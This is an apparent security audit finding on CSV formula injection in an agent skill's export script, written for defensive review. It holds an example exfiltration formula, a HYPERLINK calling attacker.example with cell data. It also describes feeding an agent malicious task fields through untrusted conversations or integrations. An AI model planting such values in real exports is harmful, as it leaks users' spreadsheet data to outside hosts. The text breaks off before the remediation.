T09 · Insecure Skill Coding Practices
- Location
scripts/export-tasks.sh:90- Finding
Spreadsheet Formula Injection in CSV Task Exports
- Content
View full analysis
"$OUTPUT" ``` ### Technical Analysis Task fields can contain content supplied through user conversations or cross-tool integrations. The export logic serializes these fields with `jq`'s `@csv`, but CSV quoting does not neutralize spreadsheet formulas. If a field begins with a spreadsheet formula marker such as `=`, `+`, `-`, or `@`, applications such as Microsoft Excel or LibreOffice Calc may interpret the cell as a formula when the exported file is opened. Replacing commas in the task title does not prevent this behavior. Other exported string fields—including IDs, projects, tags, statuses, and dates—are also not neutralized. An example malicious task title could be: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open task") ``` The exact effects depend on the spreadsheet application and its security configuration. Potential behavior includes external network requests, disclosure of spreadsheet data, misleading links, or execution of dangerous spreadsheet-specific functions. ### Attack Path 1. An attacker, untrusted conversation participant, or compromised cross-tool integration supplies a task field beginning with `=`, `+`, `-`, or `@`. 2. The agent stores the supplied value in `tasks.json`. 3. The user runs: ```bash ./scripts/export-tasks.sh csv ``` 4. The script writes the value into the CSV export without ...[truncated 1040 chars]- Remediation
View remediation
